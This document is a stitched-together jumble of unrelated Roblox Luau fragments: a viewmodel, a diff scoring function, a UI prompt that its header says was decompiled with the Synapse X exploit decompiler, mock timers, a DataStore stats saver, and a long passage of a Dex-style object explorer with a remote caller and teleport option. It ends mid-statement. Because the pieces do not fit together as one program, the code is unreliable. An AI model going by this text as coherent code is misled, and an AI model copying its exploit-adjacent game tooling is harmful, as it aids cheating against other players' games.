FakeTorso.Parent = Viewmodel Viewmodel.PrimaryPart = FakeHumanoidRootPart Viewmodel.WorldPivot = FakeHumanoidRootPart.CFrame+FakeHumanoidRootPart.CFrame.UpVector*5 Viewmodel.Parent = nil local LeftShoulderClone = nil local RightShoulderClone = nil local RootHipClone = nil
--[[---------------- CONNECTIONS -----------------]]
-- updateInputHoldEvent.OnServerEvent:Connect(onUpdateInputHoldEvent) updateHoverObjectEvent.OnServerEvent:Connect(onUpdateHoverObjectEvent) equippedGunIndexVal.Changed:Connect(function() onUpdateHoverObjectEvent(ply, mouseHoverObjectVal.Value or nil) end) downedVal.Changed:Connect(onDown) local function dropAllParts() local parts = BMM.getCharacterCurrentHoldingParts(char) for _, partVal in pairs(parts) do BMM.dropPartFromInventory(char, partVal) end end local leaveConn = nil local diedConn = nil leaveConn = game.Players.PlayerRemoving:Connect(function(player) if ply ~= player then return end if leaveConn then leaveConn:Disconnect() end if diedConn then diedConn:Disconnect() end dropAllParts() end) diedConn = hum.Died:Connect(function() if leaveConn then leaveConn:Disconnect() end if diedConn then diedConn:Disconnect() end dropAllParts() end)
--[[ * Given two strings, compute a score representing whether the internal * boundary falls on logical boundaries. * Scores range from 6 (best) to 0 (worst). * @param {string} one First string. * @param {string} two Second string. * @return {number} The score. * @private --]]
local function _diff_cleanupSemanticScore(one: string, two: string): number if #one == 0 or #two == 0 then -- Edges are the best. return 6 end -- Each port of this function behaves slightly differently due to -- subtle differences in each language's definition of things like -- 'whitespace'. Since this function's purpose is largely cosmetic, -- the choice has been made to use each language's native features -- rather than force total conformity. local char1 = strsub(one, -1) local char2 = strsub(two, 1, 1) local nonAlphaNumeric1 = strmatch(char1, "%W") local nonAlphaNumeric2 = strmatch(char2, "%W") local whitespace1 = nonAlphaNumeric1 and strmatch(char1, "%s") local whitespace2 = nonAlphaNumeric2 and strmatch(char2, "%s") local lineBreak1 = whitespace1 and strmatch(char1, "%c") local lineBreak2 = whitespace2 and strmatch(char2, "%c") local blankLine1 = lineBreak1 and strmatch(one, "\n\r?\n$") local blankLine2 = lineBreak2 and strmatch(two, "^\r?\n\r?\n") if blankLine1 or blankLine2 then -- Five points for blank lines. return 5 elseif lineBreak1 or lineBreak2 then -- Four points for line breaks. return 4 elseif nonAlphaNumeric1 and not whitespace1 and whitespace2 then -- Three points for end of sentences. return 3 elseif whitespace1 or whitespace2 then -- Two points for whitespace. return 2 elseif nonAlphaNumeric1 or nonAlphaNumeric2 then -- One point for non-alphanumeric. return 1 end return 0 end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) if not p1.Question then return; end; local l__gTable__1 = p1.gTable; local l__BaseClip__2 = script.Parent.Parent.BaseClip; local v3 = p1.Duration or p1.Timeout; local l__Frame__4 = l__BaseClip__2.Frame; l__Frame__4.Parent = l__BaseClip__2; l__Frame__4.Position = UDim2.new(0.5, -210, 0, -l__Frame__4.Size.Y.Offset); l__Frame__4.Visible = true; local l__Body__5 = l__Frame__4:WaitForChild("Body"); local l__Options__6 = l__Body__5:WaitForChild("Options"); local l__Confirm__7 = l__Options__6:WaitForChild("Confirm"); local l__Cancel__8 = l__Options__6:WaitForChild("Cancel"); l__Body__5:WaitForChild("Command").Text = p1.Subtitle and " "; l__Body__5.Ques.Text = p1.Question and "Unknown"; l__Frame__4.Top.Title.Text = p1.Title and "Yes/No Prompt"; l__Body__5.Options.Cancel.Text = p1.No and "No"; l__Body__5.Options.Confirm.Text = p1.Yes and "Yes"; l__gTable__1:Ready(); local u1 = nil; function l__gTable__1.CustomDestroy() l__gTable__1.CustomDestroy = nil; l__gTable__1.ClearEvents(); if u1 == nil then u1 = p1.No and "No"; end; pcall(function() l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p2) if p2 == Enum.TweenStatus.Completed then l__Frame__4:Destroy(); end; end); wait(0.3); end); l__gTable__1:Destroy(); end; l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 0.5, -70), "Out", "Quint", 0.3, true); local u2 = nil; u2 = l__gTable__1.BindEvent(l__Confirm__7.MouseButton1Click, function() u2:Disconnect(); l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p3) if p3 == Enum.TweenStatus.Completed then l__Frame__4:Destroy(); end; end); u1 = p1.Yes and "Yes"; wait(0.3); l__gTable__1:Destroy(); end); local u3 = nil; u3 = l__gTable__1.BindEvent(l__Cancel__8.MouseButton1Click, function() u3:Disconnect(); l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p4) if p4 == Enum.TweenStatus.Completed then l__Frame__4:Destroy(); end; end); u1 = p1.No and "No"; wait(0.3); l__gTable__1:Destroy(); end); local v9 = tick(); while true do wait(); if u1 ~= nil then break; end; if v3 and v3 < tick() - v3 then break; end; end; if u1 == nil then u1 = false; end; return nil; end;
-- return moduleResult -- end
return { -- Mock functions fn = function(...) return mock:fn(...) end, clearAllMocks = function() return mock:clearAllMocks() end, resetAllMocks = function() return mock:resetAllMocks() end, _mock = mock, -- Mock timers useFakeTimers = function() return fakeTimers:useFakeTimers() end, useRealTimers = function() return fakeTimers:useRealTimers() end, runAllTicks = function() return fakeTimers:runAllTicks() end, runAllTimers = function() return fakeTimers:runAllTimers() end, advanceTimersByTime = function(msToRun) fakeTimers:advanceTimersByTime(msToRun) end, runTimersToTime = function(msToRun) fakeTimers:advanceTimersByTime(msToRun) end, runOnlyPendingTimers = function() fakeTimers:runOnlyPendingTimers() end, advanceTimerstoNextTimer = function(steps) fakeTimers:advanceTimerstoNextTimer(steps) end, clearAllTimers = function() fakeTimers:clearAllTimers() end, getTimerCount = function() fakeTimers:getTimerCount() end, setSystemTime = function(now) fakeTimers:setSystemTime(now) end, getRealSystemTime = function() fakeTimers:getRealSystemTime() end, testEnv = { delay = fakeTimers.delayOverride, tick = fakeTimers.tickOverride, DateTime = fakeTimers.dateTimeOverride, os = fakeTimers.osOverride, -- require = requireOverride, }, _fakeTimers = fakeTimers, }
--[[ symbol = Symbol.new(id: string [, scope: Symbol]) Symbol.Is(obj: any): boolean Symbol.IsInScope(obj: any, scope: Symbol): boolean --]]
local CLASSNAME = "Symbol"
--[[ This is a test file to demonstrate how ragdolls work. If you don't use this file, you need to manually apply the Ragdoll tag to humanoids that you want to ragdoll --]]
local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local StarterPack = game:GetService("StarterPack") local StarterPlayer = game:GetService("StarterPlayer") script.KillScript.Parent = StarterPlayer.StarterCharacterScripts script.RagdollMe.Parent = StarterPlayer.StarterCharacterScripts
--------------------- PLEASE DO NOT EDIT BELOW!!!
local Auto_Load = true local Auto_Save = true local Save_On_Leave = true local Stats = {"Kills"} local StatsNotToSave = {"Helmet","Bandana","Headset","Glasses","PW"} game.Players.PlayerAdded:connect(function(p) wait() local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId) for i = 1,#Stats do ODS:UpdateAsync(Stats[i], function(old) return old or 0 end) end local l = Instance.new("Model", p) l.Name = "leaderstats" for i = 1,#StatsNotToSave do S = Instance.new("StringValue", l) S.Name = StatsNotToSave[i] end for i = 1,#Stats do S = Instance.new("NumberValue", l) S.Name = Stats[i] if Auto_Load then S.Value = ODS:GetAsync(Stats[i]) end if Auto_Save then S.Changed:connect(function() ODS:SetAsync(Stats[i], S.Value) end) end end end) if Save_On_Leave then game.Players.PlayerRemoving:connect(function(p) local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId) for i = 1,#Stats do stat = p.leaderstats:FindFirstChild(Stats[i]) if stat then ODS:UpdateAsync(stat.Name, function(old) return stat.Value end) end end end) end
--Spoiler
MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W" ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)
-- Right Arms
local RUA = character.UpperTorso:FindFirstChild("RightShoulderRigAttachment") local RUARig = character.RightUpperArm:FindFirstChild("RightShoulderRigAttachment") local RLA = character.RightUpperArm:FindFirstChild("RightElbowRigAttachment") local RLARig = character.RightLowerArm:FindFirstChild("RightElbowRigAttachment") local RH = character.RightLowerArm:FindFirstChild("RightWristRigAttachment") local RHRig = character.RightHand:FindFirstChild("RightWristRigAttachment")
-------------------------
function onClicked() R.Function1.Disabled = false R.loop.Disabled = true R.BrickColor = BrickColor.new("Lime green") R.Function2.Disabled = true end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Matches objects to their tree node representation.
local NodeLookup = {} local nodeWidth = 0 local QuickButtons = {} function filteringWorkspace() if explorerFilter.Text ~= "" and explorerFilter.Text ~= "Filter workspace..." then return true end return false end function lookForAName(obj,name) for i,v in pairs(obj:GetChildren()) do if string.find(string.lower(v.Name),string.lower(name)) then nameScanned = true end lookForAName(v,name) end end function scanName(obj) nameScanned = false if string.find(string.lower(obj.Name),string.lower(explorerFilter.Text)) then nameScanned = true else lookForAName(obj,explorerFilter.Text) end return nameScanned end function updateActions() for i,v in pairs(QuickButtons) do if v.Cond() then v.Toggle(true) else v.Toggle(false) end end end local updateList,rawUpdateList,updateScroll,rawUpdateSize do local function r(t) for i, v in ipairs(t) do if not filteringWorkspace() or scanName(v.Object) then if t.Object == game then if childrenGame[v.Object] then table.insert(TreeList, v) local w = (v.Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(v.Object.Name) + 4 if w > nodeWidth then nodeWidth = w end if v.Expanded or filteringWorkspace() then r(v) end end else table.insert(TreeList, v) local w = (v.Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(v.Object.Name) + 4 if w > nodeWidth then nodeWidth = w end if v.Expanded or filteringWorkspace() then r(v) end end end end end function rawUpdateSize() scrollBarH.TotalSpace = nodeWidth scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x scrollBarH:Update() local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp() scrollBarH.GUI.Visible = visible listFrame.Size = UDim2_new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE) scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND) scrollBar.GUI.Size = UDim2_new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE) scrollBar.TotalSpace = #TreeList+1 scrollBar:Update() end function rawUpdateList() -- Clear then repopulate the entire list. It appears to be fast enough. table.clear(TreeList) nodeWidth = 0 r(NodeLookup[game]) r(NodeLookup[DexOutput]) r(NodeLookup[HiddenEntries]) r(NodeLookup[HiddenGame]) rawUpdateSize() updateActions() end -- Adding or removing large models will cause many updates to occur. We -- can reduce the number of updates by creating a delay, then dropping any -- updates that occur during the delay. local updatingList = false function updateList() if updatingList then return end updatingList = true wait(0.25) updatingList = false rawUpdateList() end local updatingScroll = false function updateScroll() if updatingScroll then return end updatingScroll = true wait(0.25) updatingScroll = false scrollBar:Update() end end local Selection do local bindGetSelection = explorerPanel:FindFirstChild("GetSelection") if not bindGetSelection then bindGetSelection = Create('BindableFunction',{Name = "GetSelection"}) bindGetSelection.Parent = explorerPanel end local bindSetSelection = explorerPanel:FindFirstChild("SetSelection") if not bindSetSelection then bindSetSelection = Create('BindableFunction',{Name = "SetSelection"}) bindSetSelection.Parent = explorerPanel end local bindSelectionChanged = explorerPanel:FindFirstChild("SelectionChanged") if not bindSelectionChanged then bindSelectionChanged = Create('BindableEvent',{Name = "SelectionChanged"}) bindSelectionChanged.Parent = explorerPanel end local SelectionList = {} local SelectionSet = {} local Updates = true Selection = { Selected = SelectionSet; List = SelectionList; } local function addObject(object) -- list update local lupdate = false -- scroll update local supdate = false if not SelectionSet[object] then local node = NodeLookup[object] if node then table.insert(SelectionList,object) SelectionSet[object] = true node.Selected = true -- expand all ancestors so that selected node becomes visible node = node.Parent while node do if not node.Expanded then node.Expanded = true lupdate = true end node = node.Parent end supdate = true end end return lupdate,supdate end Selection.Finding = false Selection.Found = {} function Selection:Set(objects) if Selection.Finding then Selection.Found = objects end local lupdate = false local supdate = false if #SelectionList > 0 then for i = 1,#SelectionList do local object = SelectionList[i] local node = NodeLookup[object] if node then node.Selected = false SelectionSet[object] = nil end end SelectionList = {} Selection.List = SelectionList supdate = true end for i = 1,#objects do local l,s = addObject(objects[i]) lupdate = l or lupdate supdate = s or supdate end if lupdate then rawUpdateList() supdate = true elseif supdate then scrollBar:Update() end if supdate then bindSelectionChanged:Fire() updateActions() end end function Selection:Add(object) local l,s = addObject(object) if l then rawUpdateList() if Updates then bindSelectionChanged:Fire() updateActions() end elseif s then scrollBar:Update() if Updates then bindSelectionChanged:Fire() updateActions() end end end function Selection:StopUpdates() Updates = false end function Selection:ResumeUpdates() Updates = true bindSelectionChanged:Fire() updateActions() end function Selection:Remove(object,noupdate) if SelectionSet[object] then local node = NodeLookup[object] if node then node.Selected = false SelectionSet[object] = nil for i = 1,#SelectionList do if SelectionList[i] == object then table.remove(SelectionList,i) break end end if not noupdate then scrollBar:Update() end bindSelectionChanged:Fire() updateActions() end end end function Selection:Get() local list = {} for i = 1,#SelectionList do if SelectionList[i] ~= HiddenEntriesMain and SelectionList[i] ~= DexOutputMain then table.insert(list, SelectionList[i]) end end return list end bindSetSelection.OnInvoke = function(...) Selection:Set(...) end bindGetSelection.OnInvoke = function() return Selection:Get() end end function CreateCaution(title,msg) local newCaution = CautionWindow newCaution.Visible = true newCaution.Title.Text = title newCaution.MainWindow.Desc.Text = msg newCaution.MainWindow.Ok.MouseButton1Up:connect(function() newCaution.Visible = false end) end function CreateTableCaution(title,msg) if type(msg) ~= "table" then return CreateCaution(title,tostring(msg)) end local newCaution = TableCautionWindow:Clone() newCaution.Title.Text = title local TableList = newCaution.MainWindow.TableResults local TableTemplate = newCaution.MainWindow.TableTemplate for i,v in pairs(msg) do local newResult = TableTemplate:Clone() newResult.Type.Text = type(v) newResult.Value.Text = tostring(v) newResult.Position = UDim2_new(0,0,0,#TableList:GetChildren() * 20) newResult.Parent = TableList TableList.CanvasSize = UDim2_new(0,0,0,#TableList:GetChildren() * 20) newResult.Visible = true end newCaution.Parent = explorerPanel.Parent newCaution.Visible = true newCaution.MainWindow.Ok.MouseButton1Up:connect(function() newCaution:Destroy() end) end local function Split(str, delimiter) local start = 1 local t = {} while true do local pos = string.find (str, delimiter, start, true) if not pos then break end table.insert (t, string.sub (str, start, pos - 1)) start = pos + string.len (delimiter) end table.insert (t, string.sub (str, start)) return t end local function ToValue(value,type) if type == "Vector2" then local list = Split(value,",") if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return Vector2_new(x,y) elseif type == "Vector3" then local list = Split(value,",") if #list < 3 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 local z = tonumber(list[3]) or 0 return Vector3_new(x,y,z) elseif type == "Color3" then local list = Split(value,",") if #list < 3 then return nil end local r = tonumber(list[1]) or 0 local g = tonumber(list[2]) or 0 local b = tonumber(list[3]) or 0 return Color3_new(r/255,g/255, b/255) elseif type == "UDim2" then local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",") if #list < 4 then return nil end local xScale = tonumber(list[1]) or 0 local xOffset = tonumber(list[2]) or 0 local yScale = tonumber(list[3]) or 0 local yOffset = tonumber(list[4]) or 0 return UDim2_new(xScale, xOffset, yScale, yOffset) elseif type == "Number" then return tonumber(value) elseif type == "String" then return value elseif type == "NumberRange" then local list = Split(value,",") if #list == 1 then if tonumber(list[1]) == nil then return nil end local newVal = tonumber(list[1]) or 0 return NumberRange.new(newVal) end if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return NumberRange.new(x,y) elseif type == "Script" then local success,err = pcall(function() --return loadstring("return "..tostring(value), "?")() end) if err then return nil end else return nil end end local function ToPropValue(value,type) if type == "Vector2" then local list = Split(value,",") if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return Vector2_new(x,y) elseif type == "Vector3" then local list = Split(value,",") if #list < 3 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 local z = tonumber(list[3]) or 0 return Vector3_new(x,y,z) elseif type == "Color3" then local list = Split(value,",") if #list < 3 then return nil end local r = tonumber(list[1]) or 0 local g = tonumber(list[2]) or 0 local b = tonumber(list[3]) or 0 return Color3_new(r/255,g/255, b/255) elseif type == "UDim2" then local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",") if #list < 4 then return nil end local xScale = tonumber(list[1]) or 0 local xOffset = tonumber(list[2]) or 0 local yScale = tonumber(list[3]) or 0 local yOffset = tonumber(list[4]) or 0 return UDim2_new(xScale, xOffset, yScale, yOffset) elseif type == "Content" then return value elseif type == "float" or type == "int" or type == "double" then return tonumber(value) elseif type == "string" then return value elseif type == "NumberRange" then local list = Split(value,",") if #list == 1 then if tonumber(list[1]) == nil then return nil end local newVal = tonumber(list[1]) or 0 return NumberRange.new(newVal) end if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return NumberRange.new(x,y) elseif string.sub(value,1,4) == "Enum" then local getEnum = value while true do local x,y = string.find(getEnum,".") if y then getEnum = string.sub(getEnum,y+1) else break end end print(getEnum) return getEnum else return nil end end function PromptCaller(inst) if CurrentRemoteWindow then CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end CurrentRemoteWindow = RemoteWindow:Clone() CurrentRemoteWindow.Parent = explorerPanel.Parent CurrentRemoteWindow.Visible = true local displayValues = false local ArgumentList = CurrentRemoteWindow.MainWindow.Arguments local ArgumentTemplate = CurrentRemoteWindow.MainWindow.ArgumentTemplate if inst:IsA("RemoteEvent") or inst:IsA("BindableEvent") then CurrentRemoteWindow.Title.Text = "Fire Event" CurrentRemoteWindow.MainWindow.Ok.Text = "Fire" CurrentRemoteWindow.MainWindow.DisplayReturned.Visible = false CurrentRemoteWindow.MainWindow.Desc2.Visible = false end if inst:IsA("RemoteEvent") or inst:IsA("RemoteFunction") then local newArgument = ArgumentTemplate:Clone() newArgument.Parent = ArgumentList newArgument.Visible = true newArgument.Type.Text = "UserNameToFire" end local newArgument = ArgumentTemplate:Clone() if inst:IsA("RemoteEvent") or inst:IsA("RemoteFunction") then newArgument.Position = UDim2_new(0,0,0,20) ArgumentList.CanvasSize = UDim2_new(0,0,0,40) end newArgument.Parent = ArgumentList newArgument.Visible = true newArgument.Type.MouseButton1Down:connect(function() createDDown(newArgument.Type,function(choice) newArgument.Type.Text = choice end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange") end) CurrentRemoteWindow.MainWindow.Ok.MouseButton1Up:connect(function() if CurrentRemoteWindow and inst.Parent ~= nil then local MyArguments = {} for i,v in pairs(ArgumentList:GetChildren()) do if inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent") and i == 1 then local Players = game:GetService("Players") if Players:FindFirstChild(v.Value.Text) then table.insert(MyArguments,Players[v.Value.Text]) else CreateCaution("Remote Caller","The username defined is not in-game.") return end end table.insert(MyArguments,ToValue(v.Value.Text,v.Type.Text)) end if inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent") then if displayValues then spawn(function() local myResults = RemoteEvent:InvokeServer("CallRemote",inst,MyArguments) if myResults then CreateTableCaution("Remote Caller",myResults) else CreateCaution("Remote Caller","This remote did not return anything.") end end) else spawn(function() RemoteEvent:InvokeServer("CallRemote",inst,MyArguments) end) end else RemoteEvent:InvokeServer("CallRemote",inst,MyArguments) end CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end end) CurrentRemoteWindow.MainWindow.Add.MouseButton1Up:connect(function() if CurrentRemoteWindow then local newArgument = ArgumentTemplate:Clone() newArgument.Position = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20) newArgument.Parent = ArgumentList ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20) newArgument.Visible = true newArgument.Type.MouseButton1Down:connect(function() createDDown(newArgument.Type,function(choice) newArgument.Type.Text = choice end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange") end) end end) CurrentRemoteWindow.MainWindow.Subtract.MouseButton1Up:connect(function() if CurrentRemoteWindow then if (inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent")) and #ArgumentList:GetChildren() > 2 then ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy() ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20) elseif inst:IsA("RemoteFunction") == false and inst:IsA("RemoteEvent") == false and #ArgumentList:GetChildren() > 1 then ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy() ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20) end end end) CurrentRemoteWindow.MainWindow.Cancel.MouseButton1Up:connect(function() if CurrentRemoteWindow then CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end end) CurrentRemoteWindow.MainWindow.DisplayReturned.MouseButton1Up:connect(function() if displayValues then displayValues = false CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = false else displayValues = true CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = true end end) end function DestroyRightClick() if currentRightClickMenu then currentRightClickMenu:Destroy() currentRightClickMenu = nil end if CurrentInsertObjectWindow and CurrentInsertObjectWindow.Visible then CurrentInsertObjectWindow.Visible = false end end function rightClickMenu(sObj) local mouse = game:GetService("Players").LocalPlayer:GetMouse() currentRightClickMenu = CreateRightClickMenu( {"Cut","Copy","Paste Into","Duplicate","Delete",false,"Group","Ungroup","Select Children",false,"Teleport To","Call Function","Call Remote/Bindable",false,"Insert Part","Insert Object",false}, "", false, function(option) if option == "Cut" then if not Option.Modifiable then return end clipboard = {} RemoteEvent:InvokeServer("ClearClipboard") local list = Selection.List local cut = {} for i = 1,#list do local _, obj = pcall(function() return list[i]:Clone() end) if obj then table.insert(clipboard,obj) table.insert(cut,list[i]) RemoteEvent:InvokeServer("Copy", list[i]) end end for i = 1,#cut do pcall(delete,cut[i]) end updateActions() elseif option == "Copy" then if not Option.Modifiable then return end clipboard = {} RemoteEvent:InvokeServer("ClearClipboard") local list = Selection.List for i = 1,#list do local _, obj = pcall(function() return list[i]:Clone() end) if obj then table.insert(clipboard,obj) end RemoteEvent:InvokeServer("Copy", list[i]) end updateActions() elseif option == "Paste Into" then if not Option.Modifiable then return end local parent = Selection.List[1] or workspace if not RemoteEvent:InvokeServer("Paste", parent) then for i = 1,#clipboard do if (clipboard[i]) then pcall(function() clipboard[i]:Clone().Parent = parent end) end end end elseif option == "Duplicate" then if not Option.Modifiable then return end local list = Selection:Get() local parent = Selection.List[1].Parent or workspace; for i = 1,#list do if not RemoteEvent:InvokeServer("Duplicate", list[i], parent) then -- scel was here again hi local _, obj = pcall(function() return list[i]:Clone() end) if obj then obj.Parent = parent; end end end elseif option == "Delete" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do pcall(delete,list[i]) end Selection:Set({}) elseif option == "Group" then if not Option.Modifiable then return end local parent = Selection.List[1].Parent or workspace local newModel = RemoteEvent:InvokeServer("InstanceNew", "Model", {Parent = parent}) or Instance_new("Model") local list = Selection:Get() newModel.Parent = parent for i = 1,#list do list[i].Parent = newModel RemoteEvent:InvokeServer("SetProperty", list[i], "Parent", newModel) end Selection:Set({}) elseif option == "Ungroup" then if not Option.Modifiable then return end local ungrouped = {} local list = Selection:Get() for i = 1,#list do if list[i]:IsA("Model") then for i2,v2 in pairs(list[i]:GetChildren()) do v2.Parent = list[i].Parent or workspace table.insert(ungrouped,v2) RemoteEvent:InvokeServer("SetProperty", v2, "Parent", list[i].Parent or workspace) end pcall(delete,list[i]) end end Selection:Set({}) if SettingsRemote:Invoke("SelectUngrouped") then for i,v in pairs(ungrouped) do Selection:Add(v) end end elseif option == "Select Children" then if not Option.Modifiable then return end local list = Selection:Get() Selection:Set({}) Selection:StopUpdates() for i = 1,#list do for i2,v2 in pairs(list[i]:GetChildren()) do Selection:Add(v2) end end Selection:ResumeUpdates() elseif option == "Teleport To" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do if list[i]:IsA("BasePart") then pcall(function() game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = list[i].CFrame end) break end end elseif option == "Insert Part" then if not Option.Modifiable then return end local insertedParts = {} local list = Selection:Get() for i = 1,#list do pcall(function() local props = {} props.Parent = list[i] props.CFrame = CFrame_new(game:GetService("Players").LocalPlayer.Character.Head.Position) + Vector3_new(0,3,0) local newPart = RemoteEvent:InvokeServer("InstanceNew", "Part", props) or Instance_new("Part") newPart.Parent = props.Parent; newPart.CFrame = props.CFrame; table.insert(insertedParts,newPart) end) end elseif option == "Call Remote/Bindable" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do if list[i]:IsA("RemoteFunction") or list[i]:IsA("RemoteEvent") or list[i]:IsA("BindableFunction") or list[i]:IsA("BindableEvent") then PromptCaller(list[i]) break end end end end) currentRightClickMenu.Parent = explorerPanel.Parent currentRightClickMenu.Position = UDim2_new(0,mouse.X,0,mouse.Y) if currentRightClickMenu.AbsolutePosition.X + currentRightClickMenu.AbsoluteSize.X > explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X then currentRightClickMenu.Position = UDim2_new(0, explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X - currentRightClickMenu.AbsoluteSize.X, 0, mouse.Y) end end local function cancelReparentDrag()end local function cancelSelectDrag()end do local listEntries = {} local nameConnLookup = {} local mouseDrag = Create('ImageButton',{ Name = "MouseDrag"; Position = UDim2_new(-0.25,0,-0.25,0); Size = UDim2_new(1.5,0,1.5,0); Transparency = 1; AutoButtonColor = false; Active = true; ZIndex = 10; }) local function dragSelect(last,add,button) local connDrag local conUp conDrag = mouseDrag.MouseMoved:connect(function(x,y) local pos = Vector2_new(x,y) - listFrame.AbsolutePosition local size = listFrame.AbsoluteSize if pos.x < 0 or pos.x > size.x or pos.y < 0 or pos.y > size.y then return end local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex -- Mouse may have made a large step, so interpolate between the -- last index and the current. for n = i<last and i or last, i>last and i or last do local node = TreeList[n] if node then if add then Selection:Add(node.Object) else Selection:Remove(node.Object) end end end last = i end) function cancelSelectDrag() mouseDrag.Parent = nil conDrag:disconnect() conUp:disconnect() function cancelSelectDrag()end end conUp = mouseDrag[button]:connect(cancelSelectDrag) mouseDrag.Parent = GetScreen(listFrame) end local function dragReparent(object,dragGhost,clickPos,ghostOffset) local connDrag local conUp local conUp2 local parentIndex = nil local dragged = false local parentHighlight = Create('Frame',{ Transparency = 1; Visible = false; Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3_new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2_new(0,0,0,0); Size = UDim2_new(1,0,0,1); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3_new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2_new(1,0,0,0); Size = UDim2_new(0,1,1,0); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3_new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2_new(0,0,1,0); Size = UDim2_new(1,0,0,1); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3_new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2_new(0,0,0,0); Size = UDim2_new(0,1,1,0); }); }) SetZIndex(parentHighlight,9) conDrag = mouseDrag.MouseMoved:connect(function(x,y) local dragPos = Vector2_new(x,y) if dragged then local pos = dragPos - listFrame.AbsolutePosition local size = listFrame.AbsoluteSize parentIndex = nil parentHighlight.Visible = false if pos.x >= 0 and pos.x <= size.x and pos.y >= 0 and pos.y <= size.y + ENTRY_SIZE*2 then local i = math.ceil(pos.y/ENTRY_BOUND-2) local node = TreeList[i + scrollBar.ScrollIndex] if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then parentIndex = i local entry = listEntries[i] if entry then parentHighlight.Visible = true parentHighlight.Position = UDim2_new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y) parentHighlight.Size = UDim2_new(0,size.x-4,0,entry.AbsoluteSize.y) end end end dragGhost.Position = UDim2_new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y) elseif (clickPos-dragPos).magnitude > 8 then dragged = true SetZIndex(dragGhost,9) dragGhost.IndentFrame.Transparency = 0.25 dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected dragGhost.Position = UDim2_new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y) dragGhost.Parent = GetScreen(listFrame) parentHighlight.Parent = listFrame end end) function cancelReparentDrag() mouseDrag.Parent = nil conDrag:disconnect() conUp:disconnect() conUp2:disconnect() dragGhost:Destroy() parentHighlight:Destroy() function cancelReparentDrag()end end local wasSelected = Selection.Selected[object] if not wasSelected and Option.Selectable then Selection:Set({object}) end conUp = mouseDrag.MouseButton1Up:connect(function() cancelReparentDrag() if dragged then if parentIndex then local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex] if parentNode then parentNode.Expanded = true local parentObj = parentNode.Object local function parent(a,b) a.Parent = b end if Option.Selectable then local list = Selection.List for i = 1,#list do pcall(parent,list[i],parentObj) end else pcall(parent,object,parentObj) end end end else -- do selection click if wasSelected and Option.Selectable then Selection:Set({}) end end end) conUp2 = mouseDrag.MouseButton2Down:connect(function() cancelReparentDrag() end) mouseDrag.Parent = GetScreen(listFrame) end local 